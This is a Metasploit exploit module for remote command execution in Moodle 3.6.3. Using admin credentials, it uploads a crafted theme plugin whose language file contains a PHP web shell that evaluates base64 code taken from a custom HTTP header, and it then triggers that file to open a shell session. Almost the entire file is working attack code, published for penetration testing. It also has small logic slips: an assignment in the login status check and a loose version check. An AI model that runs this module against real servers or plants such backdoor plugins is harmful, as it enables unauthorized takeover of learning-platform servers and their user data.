##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution",
'Description' => %q(
This module exploits a command execution vulnerability in Moodle 3.6.3.
An attacker can upload malicious file using the plugin installation area.
Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files.
After routine check, the moodle will accept the appropriate plugin file.
Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin.
The module receives a shell session from the server by placing malicious code in the language file.
You must have an admin account to exploit this vulnerability.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
['URL', 'https://moodle.org']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base Moodle directory path", '/']),
OptString.new('USERNAME', [true, "Admin username to authenticate with", 'admin']),
OptString.new('PASSWORD', [false, "Admin password to authenticate with", 'admin'])
]
)
end
def create_plugin_file
# There are syntax errors in creating zip file. So the payload was sent as base64.
plugin_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@plugin_name = Rex::Text.rand_text_alpha_lower(7)
path = "#{@plugin_name}/version.php"
path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php"
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
plugin_file.add_file(path, "<?php $plugin->version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';")
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
plugin_file.pack
end
def exec_code(cookie)
handler
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "theme", @plugin_name, "lang", "en", "theme_#{@plugin_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
end
def upload(cookie)
# The beginning of the adventure o_O
print_status("Plugin zip file is being created and loaded...")
res = send_request_cgi(
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
)
@sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
@itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
@author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
@clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
# creating multipart data for the upload plugin file
pdata = Rex::MIME::Message.new
pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"")
pdata.add_part('', nil, nil, 'form-data; name="title"')
pdata.add_part(@author, nil, nil, 'form-data; name="author"')
pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"')
pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
pdata.add_part('', nil, nil, 'form-data; name="p"')
pdata.add_part('', nil, nil, 'form-data; name="page"')
pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"')
pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"')
pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
data = pdata.to_s
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload')
})
if res.body =~ /draftfile.php/
print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!")
print_status("Attempting to integrate the plugin...")
@zipfile = res.body.split('draft\/')[1].split('\/')[0]
plugin_integration(cookie)
else
fail_with(Failure::NoAccess, "Something went wrong!")
end
end
def plugin_integration(cookie)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'cookie' => cookie,
'vars_post' => {
'sesskey' => @sesskey,
'_qf__tool_installaddon_installfromzip_form' => '1',
'mform_showmore_id_general' => '0',
'mform_isexpanded_id_general' => '1',
'zipfile' => @zipfile,
'plugintype' => 'theme',
'rootdir' => '',
'submitbutton' => 'Install+plugin+from+the+ZIP+file'
}
)
if res.body =~ /installzipstorage/
print_good("Plugin successfully integrated!")
storage = res.body.split('installzipstorage=')[1].split('&')[0]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'cookie' => cookie,
'vars_post' => {
'installzipcomponent' => "theme_#{@plugin_name}",
'installzipstorage' => storage,
'installzipconfirm' => '1',
'sesskey' => @sesskey
}
)
exec_code(cookie)
else
fail_with(Failure::NoAccess, "Something went wrong!")
end
end
def login(uname, pass)
# 1st request to get MoodleSession and LoginToken
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login', 'index.php')
)
cookie = res.get_cookies
token = res.body.split('logintoken" value="')[1].split('"')[0]
# 2nd request to login validation
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
'cookie' => cookie,
'vars_post' => {
'anchor' => '',
'logintoken' => token,
'username' => uname,
'password' => pass
}
)
cookie = res.get_cookies
location = res.redirection.to_s
if res and res.code = 303 && location.include?('testsession')
return cookie
end
fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
return nil
end
def check
# Basic check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt')
)
if res && res.code == 200 && res.body =~ /=== 3.7/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
def exploit
cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
upload(cookie) # start the adventure
end
##
# The end of the adventure (o_O) // AkkuS
##
end
